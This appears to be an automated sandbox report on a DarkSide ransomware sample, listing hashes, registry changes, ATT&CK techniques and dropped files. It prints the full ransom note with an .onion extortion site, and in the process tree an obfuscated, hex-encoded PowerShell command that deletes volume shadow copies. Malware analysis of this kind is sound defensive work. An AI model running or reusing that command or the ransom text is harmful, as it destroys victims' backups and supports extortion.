darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
27-01-2024 19:36

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General

Target

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Size

59KB
MD5

0e178c4808213ce50c2540468ce409d3
SHA1

38b5aa765026dffbb603e323333294b5f5efa5ee
SHA256

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d
SHA512

262a8f4808f6c3499c9eb465b480508ed6b082ddd36cf2e618a9455b5abbc2eb6a8d7b7c2f398faaa62ffb22599a8b2eec0d3137fdec648de37ac4a73e6f44f4
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1ylgoVHuY23W58:0x7Fu4/ihrhDTV1yljH5Z58

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.21af4d10.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/VGBU8VAXXW7EYB5U4KQJXUGU5NT5FP8208W6UXVSKQDAE3CNBR4JTZQCXEZFZWF2 When you open our website, put the following data in the input form: Key: sWzBJoqqzL4Zn2RW3HUX03kMJd3SWd7m4wOpd3qUa7eex62poH0PPw7q8ONVepO7dEN6e5RAd7rcv5gHKhPV1uhNsHoV924TIKvNciRU1S0rZhklOZB2E3fcb6WquR9dJAbdA7WTO3bEaNproivkWdrzaYiIpn006YgPHpQbAPGJP7hiVtD8SBKSoie2u3ErPSC51J4jVLOqDj1nqdGnZjZGHyKE092eobTQ1AVRz6xa93AFD6YzLs8D5M1ixHXr6p3ft5xplmULrkaOCnSLMPolSLDUYYoSK37JhGkr4yPVRxwFTCuG8jUe83t2q19AZM9lcqC4Vly1Yyhhu4EHwk2S3AEJp27xrv0Ba4qlNY1P8tFdoh8yG4HSPX7qBMJ3Twk2NSSBzx4wV07gFVw4jSn1E5GF4y0OSz71wszVEolQWnM6MMCwoBPBCFEnSN4ehk1AKlR8QqjLXR9Qn2t0BHt3iUssq3uAq5JY4O8M9ZHw2bXlULA9hzxIlOYJtw5zuMqi8rvzMRmx5IRGKKorl4MPDpEyOr2fg5rMjn4axW6IKvxN3XecwB4 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/VGBU8VAXXW7EYB5U4KQJXUGU5NT5FP8208W6UXVSKQDAE3CNBR4JTZQCXEZFZWF2

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (151) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\21af4d10.BMP"	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\21af4d10.BMP"	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\WallpaperStyle = "10"	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

Modifies registry class 5 IoCs

Processes:

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\21af4d10	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\21af4d10\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\21af4d10.ico"	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.21af4d10	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.21af4d10\ = "21af4d10"	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\21af4d10\DefaultIcon	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

pid	process
1888	powershell.exe
2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeSecurityPrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeTakeOwnershipPrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeLoadDriverPrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeSystemProfilePrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeSystemtimePrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeProfSingleProcessPrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeIncBasePriorityPrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeCreatePagefilePrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeBackupPrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeRestorePrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeShutdownPrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeDebugPrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeSystemEnvironmentPrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeRemoteShutdownPrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeUndockPrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeManageVolumePrivilege	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: 33	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: 34	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: 35	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Token: SeDebugPrivilege	1888	powershell.exe
Token: SeBackupPrivilege	1456	vssvc.exe
Token: SeRestorePrivilege	1456	vssvc.exe
Token: SeAuditPrivilege	1456	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe

description	pid	process	target process
PID 2092 wrote to memory of 1888	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe	powershell.exe
PID 2092 wrote to memory of 1888	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe	powershell.exe
PID 2092 wrote to memory of 1888	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe	powershell.exe
PID 2092 wrote to memory of 1888	2092	533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
"C:\Users\Admin\AppData\Local\Temp\533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1888

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1456

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357
Filesize
1KB

MD5
a266bb7dcc38a562631361bbf61dd11b

SHA1
3b1efd3a66ea28b16697394703a72ca340a05bd5

SHA256
df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

SHA512
0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357
Filesize
242B

MD5
ca568686ffbe3a80bf6b53e73244abfb

SHA1
4454c4bb12a1a1f713b6f2ac85408300f03c45e6

SHA256
3218a4c4ea100ab48d0e9796035bdb2cf2446020162c1979759ea6897803153d

SHA512
e0efe94fe619dc985581786e1edd3e3d67c37baad9e94ca97b706140e3a6a64b250c68159934588b3d2cb8bb944ed0fb686727ace5eff9261d74825eb6075142

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar154A.tmp
Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
4c535d2e560fc92c1e2e0094cdd50a7d

SHA1
441cb03fe7af6004c773688f264abd9cf19a6fd7

SHA256
d218399c2cafdb9c2dce28ad6b0bda36a80d6eb090e2be0c9c1bfce94553cd58

SHA512
cf775cbca9cbf08898fdb061437c420921fbd40d86cd9a73f5c8675ff12da5309f49e58a366e88c07ea449b5c2a993e579420e498906095867a9e9b11e6e1743

Download Submit
C:\Users\Admin\README.21af4d10.TXT
Filesize
1KB

MD5
37aecb74544496ba55b7b5f845179642

SHA1
1f5ab1aba12fc3c26919f59a788381d9fbdbb0ee

SHA256
6bc3ec4b4807424a51807d1fb758939bc153ea8bd121217c8996fa45fc8c6181

SHA512
9c0321e528ae839ff160e63e920af69209ed7e90a8a36b4c4b95498dfd51bdb0ac58636d609284ee1d5527ccbed0f56e031c0f8f3adf6a385106e740396c2641

Download Submit
memory/1888-66-0x00000000026F0000-0x00000000026F8000-memory.dmp

Filesize
32KB

Download
memory/1888-69-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp

Filesize
9.6MB

Download
memory/1888-71-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/1888-70-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/1888-72-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp

Filesize
9.6MB

Download
memory/1888-68-0x0000000002AF0000-0x0000000002B70000-memory.dmp

Filesize
512KB

Download
memory/1888-67-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp

Filesize
9.6MB

Download
memory/1888-65-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download